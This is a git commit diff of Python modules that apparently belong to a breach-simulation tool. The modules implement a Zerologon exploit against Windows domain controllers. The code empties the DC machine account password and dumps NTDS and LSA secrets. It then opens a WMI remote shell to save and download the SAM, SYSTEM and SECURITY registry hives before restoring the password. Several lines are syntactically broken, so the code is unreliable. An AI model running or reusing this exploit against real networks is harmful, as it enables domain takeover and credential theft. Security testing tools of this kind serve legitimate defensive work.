Clean up code and comments

This commit is contained in:
Shreya 2021-01-26 16:52:48 +05:30
parent 53ef6feadf
commit 13ef69c3ed
2 changed files with 84 additions and 78 deletions

View File

@ -15,7 +15,9 @@ import os
import re import re
import sys import sys
import time import time
import traceback
from binascii import hexlify, unhexlify from binascii import hexlify, unhexlify
from typing import List
import impacket import impacket
from Cryptodome.Cipher import AES, ARC4, DES from Cryptodome.Cipher import AES, ARC4, DES
@ -43,7 +45,7 @@ _orig_stdout = None
_new_stdout = None _new_stdout = None
def _set_stdout_to_in_memory(): def _set_stdout_to_in_memory_text_stream():
# set stdout to in-memory text stream, to capture info that would otherwise be printed # set stdout to in-memory text stream, to capture info that would otherwise be printed
_orig_stdout = sys.stdout _orig_stdout = sys.stdout
_new_stdout = io.StringIO() _new_stdout = io.StringIO()
@ -65,16 +67,19 @@ class ZerologonExploiter(HostExploiter):
{ {
'aes_key': None, 'aes_key': None,
'bootkey': None, 'bootkey': None,
'can_process_SAM_LSA': True,
'dc_ip': None, 'dc_ip': None,
'debug': False, 'debug': False,
'exec_method': 'smbexec', 'exec_method': 'smbexec',
'hashes': None, 'hashes': None,
'history': False, 'history': False,
'is_remote' True,
'just_dc': True, 'just_dc': True,
'just_dc_ntlm': False, 'just_dc_ntlm': False,
'just_dc_user': None, 'just_dc_user': None,
'k': False, 'k': False,
'keytab': None, 'keytab': None,
'no_lmhash': True,
'no_pass': True, 'no_pass': True,
'ntds': None, 'ntds': None,
'outputfile': None, 'outputfile': None,
@ -96,7 +101,7 @@ class ZerologonExploiter(HostExploiter):
self.zerologon_finger = ZerologonFinger() self.zerologon_finger = ZerologonFinger()
def _exploit_host(self): def _exploit_host(self):
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details() DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details()
if self.is_exploitable(): if self.is_exploitable():
LOG.info("Target vulnerable, changing account password to empty string.") LOG.info("Target vulnerable, changing account password to empty string.")
@ -127,19 +132,21 @@ class ZerologonExploiter(HostExploiter):
else: else:
LOG.info("Non-zero return code, something went wrong.") LOG.info("Non-zero return code, something went wrong.")
# restore password _exploited = True
self.restore_password(DC_HANDLE, DC_IP, DC_NAME)
## how do i execute monkey on the exploited machine? ## how do i execute monkey on the exploited machine?
else: else:
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
_exploited = False
def get_dc_details(self): # Restore DC's original password.
dc_ip = self.host.ip_addr if _exploited:
dc_name = self.zerologon_finger.get_dc_name(dc_ip) try:
dc_handle = '\\\\' + dc_name self.restore_password(DC_HANDLE, DC_IP, DC_NAME)
return dc_ip, dc_name, dc_handle LOG.info("System exploited and password restored successfully.")
except:
LOG.info("System exploited but couldn't restore password!")
def is_exploitable(self): def is_exploitable(self):
return self.zerologon_finger.get_host_fingerprint(self.host) return self.zerologon_finger.get_host_fingerprint(self.host)
@ -166,7 +173,6 @@ class ZerologonExploiter(HostExploiter):
return rpc_con.request(request) return rpc_con.request(request)
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME): def restore_password(self, DC_HANDLE, DC_IP, DC_NAME):
# Keep authenticating until successful.
LOG.info("Restoring original password...") LOG.info("Restoring original password...")
LOG.info("DCSync; getting original password hashes.") LOG.info("DCSync; getting original password hashes.")
@ -177,7 +183,10 @@ class ZerologonExploiter(HostExploiter):
raise Exception("Couldn't extract admin password's hashes.") raise Exception("Couldn't extract admin password's hashes.")
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes) original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's nthash.")
# Keep authenticating until successful.
for _ in range(0, self.MAX_ATTEMPTS): for _ in range(0, self.MAX_ATTEMPTS):
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
if rpc_con is not None: if rpc_con is not None:
@ -195,67 +204,63 @@ class ZerologonExploiter(HostExploiter):
options = self.OPTIONS_FOR_SECRETSDUMP.copy() options = self.OPTIONS_FOR_SECRETSDUMP.copy()
options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
options['target_ip'] = DC_IP options['target_ip'] = DC_IP
options['dc_ip'] = DC_IP
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( dumped_secrets = self.get_dumped_secrets(options=options
options['target']).groups('') remote_name=DC_IP,
username=DC_NAME)
# In case the password contains '@'
if '@' in remote_name:
password = password + '@' + remote_name.rpartition('@')[0]
remote_name = remote_name.rpartition('@')[2]
dumped_secrets = self.get_dumped_secrets(remote_name=remote_name,
username=username,
password=password,
domain=domain,
options=options)
for secret in dumped_secrets: for secret in dumped_secrets:
if 'Administrator' in secret: if 'Administrator' in secret:
hashes = secret.split(':')[2:4] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::" hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
return ':'.join(hashes) # format - "lmhash:nthash" return ':'.join(hashes) # format - "lmhash:nthash"
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes) -> str:
self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes) if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes):
return
options = self.OPTIONS_FOR_SECRETSDUMP.copy() options = self.OPTIONS_FOR_SECRETSDUMP.copy()
for name in ['system', 'sam', 'security']: for name in ['system', 'sam', 'security']:
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
options['dc_ip'] = DC_IP
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', dumped_secrets = self.get_dumped_secrets(options=options,
options=options) remote_name='LOCAL')
for secret in dumped_secrets: for secret in dumped_secrets:
if '$MACHINE.ACC: ' in secret: # format - "$MACHINE.ACC: lmhash:nthash" if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
nthash = secret.split(':')[-1] nthash = secret.split(':')[2]
return nthash return nthash
def get_dumped_secrets(self, remote_name='', username='', password='', domain='', options): def get_dumped_secrets(self, options, remote_name='', username='', password='', domain='') -> List[str]:
dumper = DumpSecrets(remote_name, username, password, domain, options) dumper = DumpSecrets(remote_name, username, password, domain, options)
dumped_secrets = dumper.dump().split('\n') dumped_secrets = dumper.dump().split('\n')
return dumped_secrets return dumped_secrets
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes): def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
remote_shell = WmiexecRemoteShell(host=self.host, wmiexec = Wmiexec(ip=DC_IP,
username='Administrator', username='Administrator',
domain=DC_IP, hashes=admin_pwd_hashes,
hashes=':'.join(admin_pwd_hashes)) domain=DC_IP)
if remote_shell:
_set_stdout_to_in_memory()
# save HKLM keys on host remote_shell = wmiexec.run()
if remote_shell:
_set_stdout_to_in_memory_text_stream()
# Save HKLM keys on host.
shell.onecmd('reg save HKLM\SYSTEM system.save && ' + shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
'reg save HKLM\SAM sam.save && ' + 'reg save HKLM\SAM sam.save && ' +
'reg save HKLM\SECURITY security.save') 'reg save HKLM\SECURITY security.save')
# get HKLM keys locally (can't run these together because it needs to call do_get()) # Get HKLM keys locally (can't run these together because it needs to call do_get()).
shell.onecmd('get system.save') shell.onecmd('get system.save')
shell.onecmd('get sam.save') shell.onecmd('get sam.save')
shell.onecmd('get security.save') shell.onecmd('get security.save')
# delete saved keys from host # Delete saved keys on host.
shell.onecmd('del /f system.save sam.save security.save') shell.onecmd('del /f system.save sam.save security.save')
info = _unset_stdout_and_return_captured() info = _unset_stdout_and_return_captured()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
return True
else: else:
raise Exception("Could not start remote shell on DC.") raise Exception("Could not start remote shell on DC.")
@ -364,8 +369,8 @@ class DumpSecrets:
self.__sam_hive = options['sam'] self.__sam_hive = options['sam']
self.__ntds_file = options['ntds'] self.__ntds_file = options['ntds']
self.__history = options['history'] self.__history = options['history']
self.__no_lmhash = True self.__no_lmhash = options['no_lmhash']
self.__is_remote = True self.__is_remote = options['is_remote']
self.__output_file_name = options['outputfile'] self.__output_file_name = options['outputfile']
self.__do_kerberos = options['k'] self.__do_kerberos = options['k']
self.__just_DC = options['just_dc'] self.__just_DC = options['just_dc']
@ -374,7 +379,7 @@ class DumpSecrets:
self.__pwd_last_set = options['pwd_last_set'] self.__pwd_last_set = options['pwd_last_set']
self.__print_user_status = options['user_status'] self.__print_user_status = options['user_status']
self.__resume_file_name = options['resumefile'] self.__resume_file_name = options['resumefile']
self.__can_process_SAM_LSA = True self.__can_process_SAM_LSA = options['can_process_SAM_LSA']
self.__kdc_host = options['dc_ip'] self.__kdc_host = options['dc_ip']
self.__options = options self.__options = options
@ -386,7 +391,7 @@ class DumpSecrets:
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self): def dump(self):
_set_stdout_in_memory() _set_stdout_to_in_memory_text_stream()
dumped_secrets = '' dumped_secrets = ''
try: try:
@ -397,7 +402,7 @@ class DumpSecrets:
local_operations = LocalOperations(self.__system_hive) local_operations = LocalOperations(self.__system_hive)
bootkey = local_operations.getBootKey() bootkey = local_operations.getBootKey()
if self.__ntds_file is not None: if self.__ntds_file is not None:
# Let's grab target's configuration about LM Hashes storage # Let's grab target's configuration about LM Hashes storage.
self.__no_lmhash = local_operations.checkNoLMHashPolicy() self.__no_lmhash = local_operations.checkNoLMHashPolicy()
else: else:
import binascii import binascii
@ -424,20 +429,20 @@ class DumpSecrets:
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
self.__remote_ops.enableRegistry() self.__remote_ops.enableRegistry()
bootkey = self.__remote_ops.getBootKey() bootkey = self.__remote_ops.getBootKey()
# Let's check whether target system stores LM Hashes # Let's check whether target system stores LM Hashes.
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
except Exception as e: except Exception as e:
self.__can_process_SAM_LSA = False self.__can_process_SAM_LSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__do_kerberos is True: and self.__do_kerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off # Giving some hints here when SPN target name validation is set to something different to Off.
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/ # This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
'Try -just-dc-user') 'Try -just-dc-user')
else: else:
LOG.error('RemoteOperations failed: %s' % str(e)) LOG.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA # If RemoteOperations succeeded, then we can extract SAM and LSA.
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
try: try:
if self.__is_remote is True: if self.__is_remote is True:
@ -467,12 +472,10 @@ class DumpSecrets:
if self.__output_file_name is not None: if self.__output_file_name is not None:
self.__LSA_secrets.exportSecrets(self.__output_file_name) self.__LSA_secrets.exportSecrets(self.__output_file_name)
except Exception as e: except Exception as e:
if logging.getLogger().level == logging.DEBUG: LOG.debug(traceback.print_exc())
import traceback
traceback.print_exc()
LOG.error('LSA hashes extraction failed: %s' % str(e)) LOG.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
if self.__is_remote is True: if self.__is_remote is True:
if self.__use_VSS_method and self.__remote_ops is not None: if self.__use_VSS_method and self.__remote_ops is not None:
NTDS_file_name = self.__remote_ops.saveNTDS() NTDS_file_name = self.__remote_ops.saveNTDS()
@ -490,16 +493,14 @@ class DumpSecrets:
try: try:
self.__NTDS_hashes.dump() self.__NTDS_hashes.dump()
except Exception as e: except Exception as e:
if logging.getLogger().level == logging.DEBUG: LOG.debug(traceback.print_exc())
import traceback
traceback.print_exc()
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack # We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI. # of enough privileges to access DRSUAPI.
resume_file = self.__NTDS_hashes.getResumeSessionFile() resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None: if resume_file is not None:
os.unlink(resume_file) os.unlink(resume_file)
logging.error(e) LOG.error(e)
if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
LOG.error("You just got that error because there might be some duplicates of the same name. " LOG.error("You just got that error because there might be some duplicates of the same name. "
"Try specifying the domain name for the user as well. It is important to specify it " "Try specifying the domain name for the user as well. It is important to specify it "
@ -508,8 +509,7 @@ class DumpSecrets:
LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup() self.cleanup()
except (Exception, KeyboardInterrupt) as e: except (Exception, KeyboardInterrupt) as e:
import traceback LOG.debug(traceback.print_exc())
print(traceback.format_exc())
LOG.error(e) LOG.error(e)
if self.__NTDS_hashes is not None: if self.__NTDS_hashes is not None:
if isinstance(e, KeyboardInterrupt): if isinstance(e, KeyboardInterrupt):
@ -544,12 +544,11 @@ class DumpSecrets:
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to get HKLM keys for restoring original DC password # Used to get HKLM keys for restoring original DC password
class WmiexecRemoteShell: class Wmiexec:
OUTPUT_FILENAME = '__' + str(time.time()) OUTPUT_FILENAME = '__' + str(time.time())
CODEC = sys.stdout.encoding
def __init__(self, host, username, password='', domain='', hashes, share=None, noOutput=False): def __init__(self, ip, username, hashes, password='', domain='', share=None, noOutput=False):
self.host = host self.__ip = ip
self.__username = username self.__username = username
self.__password = password self.__password = password
self.__domain = domain self.__domain = domain
@ -560,14 +559,14 @@ class WmiexecRemoteShell:
def run(self): def run(self):
if self.__noOutput is False: if self.__noOutput is False:
smbConnection = SMBConnection(self.host.ip_addr, self.host.ip_addr) smbConnection = SMBConnection(self.__ip, self.__ip)
smbConnection.login(user=self.__username, smbConnection.login(user=self.__username,
password=self.__password, password=self.__password,
domain=self.__domain, domain=self.__domain,
lmhash=self.__lmhash, lmhash=self.__lmhash,
nthash=self.__nthash) nthash=self.__nthash)
dcom = DCOMConnection(target=self.host.ip_addr, dcom = DCOMConnection(target=self.__ip,
username=self.__username, username=self.__username,
password=self.__password, password=self.__password,
domain=self.__domain, domain=self.__domain,
@ -583,8 +582,9 @@ class WmiexecRemoteShell:
win32Process, _ = iWbemServices.GetObject('Win32_Process') win32Process, _ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection) self.shell = RemoteShell(self.__share, win32Process, smbConnection, OUTPUT_FILENAME)
# return self.shell? return self.shell
except (Exception, KeyboardInterrupt) as e: except (Exception, KeyboardInterrupt) as e:
LOG.error(str(e)) LOG.error(str(e))
smbConnection.logoff() smbConnection.logoff()
@ -594,10 +594,12 @@ class WmiexecRemoteShell:
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to start remote shell on victim # Used to start remote shell on victim
class RemoteShell(cmd.Cmd): class RemoteShell(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection): CODEC = sys.stdout.encoding
def __init__(self, share, win32Process, smbConnection, outputFilename):
cmd.Cmd.__init__(self) cmd.Cmd.__init__(self)
self.__share = share self.__share = share
self.__output = '\\' + self.OUTPUT_FILENAME self.__output = '\\' + outputFilename
self.__outputBuffer = str('') self.__outputBuffer = str('')
self.__shell = 'cmd.exe /Q /c ' self.__shell = 'cmd.exe /Q /c '
self.__win32Process = win32Process self.__win32Process = win32Process
@ -644,16 +646,16 @@ class RemoteShell(cmd.Cmd):
self.__outputBuffer = '' self.__outputBuffer = ''
def default(self, line): def default(self, line):
# Let's try to guess if the user is trying to change drive # Let's try to guess if the user is trying to change drive.
if len(line) == 2 and line[1] == ':': if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid # Execute the command and see if the drive is valid.
self.execute_remote(line) self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0: if len(self.__outputBuffer.strip('\r\n')) > 0:
# Something went wrong # Something went wrong.
print(self.__outputBuffer) print(self.__outputBuffer)
self.__outputBuffer = '' self.__outputBuffer = ''
else: else:
# Drive valid, now we should get the current path # Drive valid, now we should get the current path.
self.__pwd = line self.__pwd = line
self.execute_remote('cd ') self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n') self.__pwd = self.__outputBuffer.strip('\r\n')
@ -683,11 +685,11 @@ class RemoteShell(cmd.Cmd):
break break
except Exception as e: except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >= 0: if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
# Output not finished, let's wait # Output not finished, let's wait.
time.sleep(1) time.sleep(1)
pass pass
elif str(e).find('Broken') >= 0: elif str(e).find('Broken') >= 0:
# The SMB Connection might have timed out, let's try reconnecting # The SMB Connection might have timed out, let's try reconnecting.
LOG.debug('Connection broken, trying to recreate it') LOG.debug('Connection broken, trying to recreate it')
self.__transferClient.reconnect() self.__transferClient.reconnect()
return self.get_output() return self.get_output()

View File

@ -22,14 +22,12 @@ class ZerologonFinger(HostFinger):
Checks if the Windows Server is vulnerable to Zerologon. Checks if the Windows Server is vulnerable to Zerologon.
""" """
DC_IP = host.ip_addr DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details()
DC_NAME = self.get_dc_name(DC_IP)
if DC_NAME: # if it is a Windows DC if DC_NAME: # if it is a Windows DC
# Keep authenticating until successful. # Keep authenticating until successful.
# Expected average number of attempts needed: 256. # Expected average number of attempts needed: 256.
# Approximate time taken by 2000 attempts: 40 seconds. # Approximate time taken by 2000 attempts: 40 seconds.
DC_HANDLE = '\\\\' + DC_NAME
LOG.info('Performing Zerologon authentication attempts...') LOG.info('Performing Zerologon authentication attempts...')
rpc_con = None rpc_con = None
@ -57,6 +55,12 @@ class ZerologonFinger(HostFinger):
LOG.info('Error encountered; most likely not a Windows Domain Controller.') LOG.info('Error encountered; most likely not a Windows Domain Controller.')
return False return False
def get_dc_details(self):
DC_IP = self.host.ip_addr
DC_NAME = self.get_dc_name(DC_IP)
DC_HANDLE = '\\\\' + DC_NAME
return DC_IP, DC_NAME, DC_HANDLE
def get_dc_name(self, DC_IP): def get_dc_name(self, DC_IP):
""" """
Gets NetBIOS name of the Domain Controller (DC). Gets NetBIOS name of the Domain Controller (DC).